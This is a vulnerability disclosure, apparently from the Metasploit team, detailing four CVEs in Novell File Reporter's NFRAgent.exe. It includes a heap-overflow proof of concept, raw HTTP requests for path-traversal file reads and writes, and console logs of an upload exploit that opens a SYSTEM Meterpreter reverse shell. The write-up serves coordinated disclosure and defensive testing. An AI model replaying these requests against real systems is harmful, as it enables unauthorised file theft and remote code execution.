Last updated at Thu, 28 Dec 2023 18:40:50 GMT
Today, we present to you several new vulnerabilities discovered in Novell File Reporter 1.0.2, which "helps organizations more effectively manage network storage by providing administrators the ability to access comprehensive network storage information so that they can determine the best means of addressing their storage content". Following our standard disclosure policy, we notified both Novell and CERT.
Vulnerabilities Summary
The four vulnerabilities presented have been found in the same component, NFRAgent.exe, which communicates with the Agent component over HTTPS on TCP port 3037:
-
CVE-2012-4956 - Heap Overflow: When handling requests of name “SRS”, the NFRAgent.exe fails to generate a response in a secure way, copying user controlled data into a fixed-length buffer in the heap without bounds checking. This vulnerability can result in remote code execution under the context of the SYSTEM account.
-
CVE-2012-4957 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “SRS”, OPERATION “4” and CMD “103” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote files, specified with the tag “PATH”, with SYSTEM privileges.
-
CVE-2012-4958 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “126” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote text files, specified with the tag “FILE”, with SYSTEM privileges.
-
CVE-2012-4959 - Arbitrary File Upload: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “130” the NFRAgent.exe allows a remote unauthenticated user to upload files to the host, specified with the tag “FILE”, with SYSTEM privileges. It allows to execute remote code with SYSTEM privileges.
Disclosure Timeline
Date | Description |
---|---|
2012-09-14 | Initial discovery by Juan Vazquez |
2012-09-14 | Metasploit modules written |
2012-09-17 | Initial disclosure to Novell |
2012-11-06 | Disclosure to US CERT |
2012-11-16 | Public disclosure and Metasploit module published |
Technical Analysis
CVE-2012-4956 - Heap Overflow
Static analysis
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The Agent handles different types of record, one of them is “SRS”:
.text:00404BE9 add esp, 0Ch
.text:00404BEC push 14h ; length_arg_C
.text:00404BEE lea eax, [ebp+record_name_var_28]
.text:00404BF1 push eax ; result_arg_8
.text:00404BF2 push offset aName ; "NAME"
.text:00404BF7 mov ecx, [ebp+message_arg_8]
.text:00404BFA add ecx, 20h
.text:00404BFD push ecx ; xml_message_arg_0
.text:00404BFE mov ecx, [ebp+var_2C]
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06 movzx edx, al
.text:00404C09 test edx, edx
.text:00404C0B jz short loc_404C8B
.text:00404C0D push offset aSrs_2 ; "SRS"
.text:00404C12 lea eax, [ebp+record_name_var_28]
.text:00404C15 push eax ; char *
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
.text:00404C1B add esp, 8
.text:00404C1E test eax, eax
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22 mov ecx, [ebp+message_arg_8]
.text:00404C25 push ecx ; void *
.text:00404C26 mov edx, [ebp+arg_4]
.text:00404C29 push edx ; int
.text:00404C2A mov eax, [ebp+arg_0]
.text:00404C2D push eax ; int
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
In the function which handles records of name “SRS”, named “handle_SRS_sub_408D0”, a fixed-length buffer is created in the heap with “malloc()”:
.text:00404903 push 0C350h ; size_t
.text:00404908 call _malloc
.text:0040490D add esp, 4
.text:00404910 mov [ebp+response_var_8], eax
This buffer is used to store the response which is going to be returned to the user after handling the “SRS” record. An “SRS” record can request different types of operation, by using the tags “OPERATION” and “CMD”. In this report, the “OPERATION” with id 7, and “CMD” 4, has been used. This operation allows a user to specify a set of volumes, and retrieve the free space for everyone. The format of the request XML message is this:
<RECORD>
<NAME>SRS</NAME>
<OPERATION>4</OPERATION>
<CMD>7</CMD>
<VOL>vol_1_name</VOL>
<VOL>vol_2_name</VOL>
</RECORD>
While the analysis of the current vulnerability, has been discovered that the response is generated from the user request, copying the contents of the requested “VOL” elements to the fixed-length buffer in the heap without bounds checking.
Note: maybe other operations requested via “SRS” records can be used to trigger a heap overflow. It has not been checked.
The operation is handled by the function named “SRS_7_4_sub_4082E0”, which gets two arguments, the XML message for the RECORD to handle and the pointer to the vulnerable heap buffer allocated to store the response:
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char *result_response_arg_4)
The “VOL” elements (the volume names) are processed by a loop like this in the “SRS_7_4_sub_4082E0” function:
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD *)(vol_object_var_254 + 12) )
{
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL", &vol_name_var_20c, 0x1F4u); // get VOL element
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume Free Space
volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode the volume name (user controlled data)
if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>", v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking
free(vol_name_html_encode_var_494);
vol_name_html_encode_var_494 = 0;
}
else
{ // If the volume name hasn’t been HTML Encoded
v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
}
}
In this loop is where the buffer overflow occurs, the results of the VOL handling are attached to the response, stored in the fixed-length allocated buffer in the heap, with a sprintf() call. For every sprintf() the volume name is controlled by the user, specified in the
Proof of Concept and Dynamic Analysis
The vulnerability can be triggered by creating a specially crafted message, with a record of name “SRS”, specifying the operation “4” and cmd “7”, including a huge number of volumes (“VOL” elements). The ruby code used to generate the crafted message is this:
data = "4D14AED3B61B0DAB893355B8331CC71A" # Checksum
data << "<RECORD>"
data << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
data << "<VOL>AAAAAAAAAA</VOL>" * 0xc35 # Volumes
data << "</RECORD>"
According to the static analysis presented before, when handling the crafted message, a fixed-length buffer of 0xc350 bytes to store the response is created in the heap:
0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c 0000c350
The allocated buffer is on 0x1220110:
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x490d:
0040490d 83c404 add esp,4
0:007> !heap -p -a eax
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
The results for every volume are attached to the fixed-length heap buffer via the sprintf at 004085C5:
Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
The result of the sprintf is going to be stored at 0122013e:
0:007> dd esp L1
0120eec8 0122013e
The address belongs to the heap buffer:
0:007> !heap -p -a 0122013e
address 0122013e found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
The string which is going to be sprintfed contains the volume name (user controlled data):
0:007> da poi(esp+4)
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060 "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208 "AAAAAAAAAA"
After the first sprint, the contents of the heap vulnerable buffer are:
0:007> da 01220110
01220110 "<RESULT><VERSION>1</VERSION><STA"
01220130 "TUS>0</STATUS><VOL><NAME>AAAAAAA"
01220150 "AAA</NAME><FSPACE>0</FSPACE></VO"
01220170 "L>"
At this point, the contents of the heap, just after the vulnerable buffer, are presented:
0:007> !heap -p -a 01220110+0c350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 0003 0000 [01] 0122c468 00010 - (busy)
0:007> db 0122c460 L8
0122c460 03 00 6b 18 19 01 08 01
0:007> db 0122c468 L10
0122c468 80 c4 22 01 16 00 00 00-d0 9f 9e 00 a0 c4 22 01 .."...........".
After the offending loop the contents after the vulnerable heap buffer have been overwritten. For the chunk just after our vulnerable buffer, both heap chunk metadata and contents have been overflowed:
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
0:007> db 0122c460 L8
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
0:007> db 0122c468 L10
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
And finally, with the proof of concept, the NFRAgent.exe crashes because tries to dereference a overwritten pointer:
0:007> g
(9ac.2f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000016 ebx=003f5e20 ecx=00443085 edx=3c3e4c4f esi=00479f89 edi=0120f1a1
eip=00405a70 esp=0120eec8 ebp=0120eed0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
NFRAgent+0x5a70:
00405a70 833a00 cmp dword ptr [edx],0 ds:0023:3c3e4c4f=????????
In order to assist testing of the vulnerability a metasploit module has been developed:
msf > use auxiliary/dos/http/novell_file_reporter_heap_bof
msf auxiliary(novell_file_reporter_heap_bof) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf auxiliary(novell_file_reporter_heap_bof) > show options
Module options (auxiliary/dos/http/novell_file_reporter_heap_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.150 yes The target address
RPORT 3037 yes The target port
SSL true yes Use SSL
VHOST no HTTP server virtual host
msf auxiliary(novell_file_reporter_heap_bof) > run
[*] 192.168.1.150:3037 - Triggering the Heap Overflow to cause DoS...
[+] 192.168.1.150:3037 - NFR Agent didn't answer, DoS was successful
[*] Auxiliary module execution completed
msf auxiliary(novell_file_reporter_heap_bof) >
CVE-2012-4957 - Arbitrary File Retrieval
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “SRS”, OPERATION “4” and CMD “103” the following code manages the requests:
.text:00408ACA
.text:00408ACA push 104h ; jumptable 0040878F case 99
.text:00408ACF lea eax, [ebp+file_path_var_110]
.text:00408AD5 push eax ; result_arg_8
.text:00408AD6 push offset aPath_1 ; "PATH"
.text:00408ADB mov ecx, [ebp+xml_message_arg_8]
.text:00408ADE push ecx ; xml_message_arg_0
.text:00408ADF mov ecx, [ebp+var_9D4]
.text:00408AE5 call parse_tag_sub_40A760 ; retrieve the contents of the PATH element
.text:00408AEA movzx edx, al
.text:00408AED test edx, edx
.text:00408AEF jz short loc_408B52
.text:00408AF1 mov eax, [ebp+arg_0]
.text:00408AF4 push eax
.text:00408AF5 mov ecx, [ebp+arg_4]
.text:00408AF8 push ecx
.text:00408AF9 push 0
.text:00408AFB push 0
.text:00408AFD push offset aApplicationOct ; "application/octet-stream"
.text:00408B02 lea edx, [ebp+file_path_var_110]
.text:00408B08 push edx
.text:00408B09 call SNISendDocResponse ; retrieve file contents and send back response
.text:00408B0E add esp, 18h
.text:00408B11 mov [ebp+result_operation_var_9C1], al
.text:00408B17 movzx eax, [ebp+result_operation_var_9C1]
.text:00408B1E test eax, eax
.text:00408B20 jz short error_loc_408B3A
.text:00408B22 lea ecx, [ebp+file_path_var_110]
.text:00408B28 push ecx
.text:00408B29 push offset aAddtaskSuccess ; "AddTask: Successfully started send of f"...
.text:00408B2E push 0
.text:00408B30 call write_log_sub_406080
.text:00408B35 add esp, 0Ch
.text:00408B38 jmp short loc_408B50
.text:00408B3A ; ---------------------------------------------------------------------------
.text:00408B3A
.text:00408B3A error_loc_408B3A: ; CODE XREF: parse_cmd_sub_4086B0+470j
.text:00408B3A lea edx, [ebp+file_path_var_110]
.text:00408B40 push edx
.text:00408B41 push offset aAddtaskFailedT ; "AddTask: Failed to send file (%s)."
.text:00408B46 push 0
.text:00408B48 call write_log_sub_406080
.text:00408B4D add esp, 0Ch
In the code presented above the file path is retrieved from the PATH element of the XML request. The filename is used to call the function SNISendDocResponse() provided by the ccs.dll component, which uses the provided filename to call directly “fopen” and read the contents.
Exploitation
In order to exploit the vulnerability the user must build a XML message like this one:
<RECORD>
<NAME>SRS</NAME>
<OPERATION>4</OPERATION>
<CMD>103</CMD>
<PATH>c:\\boot.ini</PATH>
</RECORD>
The file to read must be specified in the
The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.
As example the next HTTP request allows to retrieve the contents of the “C:\boot.ini” file:
POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 127
FD97A41459FD495A43E3BF922B40DB23<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION> <CMD>103</CMD><PATH>c:\boot.ini</PATH></RECORD>
The contents of the “c:\boot.ini” are returned back to the user:
HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: application/octet-stream
Content-Length: 211
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
In order to assist testing of the vulnerability a metasploit module has been developed:
msf > use auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
msf auxiliary(novell_file_reporter_srs_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(novell_file_reporter_srs_fileaccess) > show options
Module options (auxiliary/scanner/http/novell_file_reporter_srs_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RFILE c:\boot.ini yes Remote File
RHOSTS 192.168.1.150 yes The target address range or CIDR identifier
RPORT 3037 yes The target port
SSL true yes Use SSL
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(novell_file_reporter_srs_fileaccess) > run
[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - c:\boot.ini saved in /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(novell_file_reporter_srs_fileaccess) > cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini[*] exec: cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
CVE-2012-4958 - Arbitrary File Retrieval
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “FSFUI” and UICMD “126” the request is managed by the function named as read_file_sub_409FA0() whose decompiled pseudocode is presented below:
char *__stdcall read_file_sub_409FA0(char *xml_message_arg_0, char *a2)
{
size_t v2; // eax@1
size_t v3; // eax@3
FILE *v4; // ST0C_4@5
size_t v5; // eax@5
size_t v6; // eax@5
char *result; // eax@5
char result_arg_8[260]; // [sp+Ch] [bp-190h]@1
int v9; // [sp+110h] [bp-8Ch]@1
size_t v10; // [sp+114h] [bp-88h]@5
FILE *v11; // [sp+118h] [bp-84h]@2
char v12; // [sp+11Ch] [bp-80h]@1
char v13; // [sp+154h] [bp-48h]@1
char v14; // [sp+158h] [bp-44h]@1
__int16 v15; // [sp+194h] [bp-8h]@1
char v16; // [sp+196h] [bp-6h]@1
memcpy(&v14, "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[", 0x3Cu);
v15 = *(_WORD *)"A[";
v16 = aResultVersi_19[62];
memcpy(&v12, "<RESULT><VERSION>1</VERSION><STATUS>14</STATUS></RESULT>", 0x38u);
v13 = aResultVersi_20[56];
v9 = sub_40B670();
sub_402200(result_arg_8);
strcat(result_arg_8, "\\");
v2 = strlen(result_arg_8);
// The file path is retrieved from the FILE element of the XML request.
if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )
{
// The FILE element can specify an absolute PATH
v11 = fopen(result_arg_8, "rb");
if ( !v11 )
{
strcpy(result_arg_8, Buffer);
strcat(result_arg_8, "\\");
v3 = strlen(result_arg_8);
//Or use a directory traversal to access with a relative PATH
parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v3], 256);
v11 = fopen(result_arg_8, "rb");
}
if ( v11 )
{
strcpy(a2, &v14);
v4 = v11;
v5 = strlen(&v14);
// The contents of the specified file are read and attached to the response (a2)
v10 = fread(&a2[v5], 1u, 0xAFC8u, v4);
fclose(v11);
v6 = strlen(&v14);
result = strcpy(&a2[v10] + v6, "]]></CFILE></RESULT>");
}
else
{
result = strcpy(a2, &v12);
}
}
else
{
result = strcpy(a2, &v12);
}
return result;
}
In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen() and then fread() is used to read the file contents. Finally the contents are attached to the response contents which will be returned back to the user.
Exploitation
In order to exploit the vulnerability the user must build a XML message like this one:
<RECORD>
<NAME>FSFUI</NAME>
<UICMD>126</UICMD>
<FILE>..\..\..\..\..\..\boot.ini</FILE>
</RECORD>
The file to read must be specified in the
The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.
As example the next HTTP request allows to retrieve the contents of the “C:\boot.ini” file:
POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 124
562A72C2A891EC182BD76414BBB04C88<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FIL E>..\..\..\..\..\..\boot.ini</FILE></RECORD>
The contents of the “c:\boot.ini” are returned back to the user:
HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: text/xml
Content-Length: 293
<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
]]></CFILE></RESULT>
In order to assist testing of the vulnerability a metasploit module has been developed:
msf > use auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > show options
Module options (auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 6 yes Traversal depth
Proxies no Use a proxy chain
RFILE boot.ini yes Remote File
RHOSTS 192.168.1.150 yes The target address range or CIDR identifier
RPORT 3037 yes The target port
SSL true yes Use SSL
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > run
[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - boot.ini saved in /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] exec: cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
CVE-2012-4959 - Arbitrary File Upload
The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “FSFUI” and UICMD “130” the request is managed by the function named as read_file_sub_40A190 () whose decompiled pseudocode is presented below:
int __stdcall write_file_sub_40A190(char *xml_message_arg_0, char *a2)
{
size_t v2; // eax@1
int result; // eax@6
char result_arg_8[256]; // [sp+Ch] [bp-150h]@1
int v5; // [sp+10Ch] [bp-50h]@4
void *v6; // [sp+110h] [bp-4Ch]@3
int v7; // [sp+114h] [bp-48h]@1
FILE *v8; // [sp+118h] [bp-44h]@2
char v9; // [sp+11Ch] [bp-40h]@1
char v10; // [sp+154h] [bp-8h]@1
memcpy(&v9, "<RESULT><VERSION>1</VERSION><STATUS>%d</STATUS></RESULT>", 0x38u);
v10 = aResultVersi_21[56];
v7 = sub_40B670();
strcpy(result_arg_8, Buffer);
strcat(result_arg_8, "\\");
v2 = strlen(result_arg_8);
// The contents of the element <FILE> from the XML request are used to build the file path
// (stored in the result_arg_8 variable
if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )
{
// The file path built from the <FILE> element is used in “fopen”. Using a directory
// traversal an arbitrary file can be opened in write mode.
v8 = fopen(result_arg_8, "wb");
if ( v8 )
{
sprintf(a2, &v9, 0);
// The contents between the tags “<![CDATA[“ and “]]>” are parsed from the user XML
// request.
v6 = (void *)sub_403F40(xml_message_arg_0, "<![CDATA[");
if ( v6 )
{
v6 = (char *)v6 + 9;
v5 = sub_403F40((char *)v6, "]]>");
if ( v5 )
// The parsed contents are written to the specified file.
fwrite(v6, 1u, v5 - (_DWORD)v6, v8);
}
result = fclose(v8);
}
else
{
result = sprintf(a2, &v9, 14);
}
}
else
{
result = sprintf(a2, &v9, 14);
}
return result;
}
In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen(). Using a path traversal is possible to open or create any file in the filesystem with SYSTEM privileges. After that, the request is parsed for the “” tags and the contents between them are written to the file with “fwrite()”.
Exploitation
In order to exploit the vulnerability the user must build a XML message like this one:
<RECORD>
<NAME>FSFUI</NAME>
<UICMD>130</UICMD>
<FILE>..\..\..\..\..\..\test.txt</FILE><![CDATA[test]]>
</RECORD>
The file to write must be specified in the
The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.
As example the next HTTP request allows to write the string “metasploit” in the “C:\msf.txt” file:
POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 145
3CFD5A649F67C0522A7FE1EDAC0382BF<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>..\..\..\..\..\..\msf.txt</FILE><![CDATA[metasploit]]></RECORD>
If the file is written correctly a response with STATUS 0 is returned back to the user:
HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: text/xml
Content-Length: 55
<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>
In order to achieve remote code execution in versions smaller than Windows Vista, such as Windows XP SP3 and Windows 2003 SP2, the Windows Management Instrumentation has been used. A Metasploit module has been developed:
msf > use exploit/windows/novell/file_reporter_fsfui_upload
msf exploit(file_reporter_fsfui_upload) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf exploit(file_reporter_fsfui_upload) > show options
Module options (exploit/windows/novell/file_reporter_fsfui_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 6 yes Traversal depth
Proxies no Use a proxy chain
RHOST 192.168.1.150 yes The target address
RPORT 3037 yes The target port
SSL true yes Use SSL
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(file_reporter_fsfui_upload) > exploit
[*] Started reverse handler on 192.168.1.129:4444
[*] Encoding payload into vbs...
[*] Generating mof file...
[*] 192.168.1.150:3037 - Uploading the VBS payload
[*] 192.168.1.150:3037 - VBS payload successfully uploaded
[*] 192.168.1.150:3037 - Uploading the MOF file
[*] 192.168.1.150:3037 - MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.150:1133) at 2012-11-09 16:12:57 +0100
[!] Deleting the vbs payload "wGYrt.vbs" ...
[!] Deleting the mof file "lOpOwwjuW.mof" ...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.150 - Meterpreter session 1 closed. Reason: User exit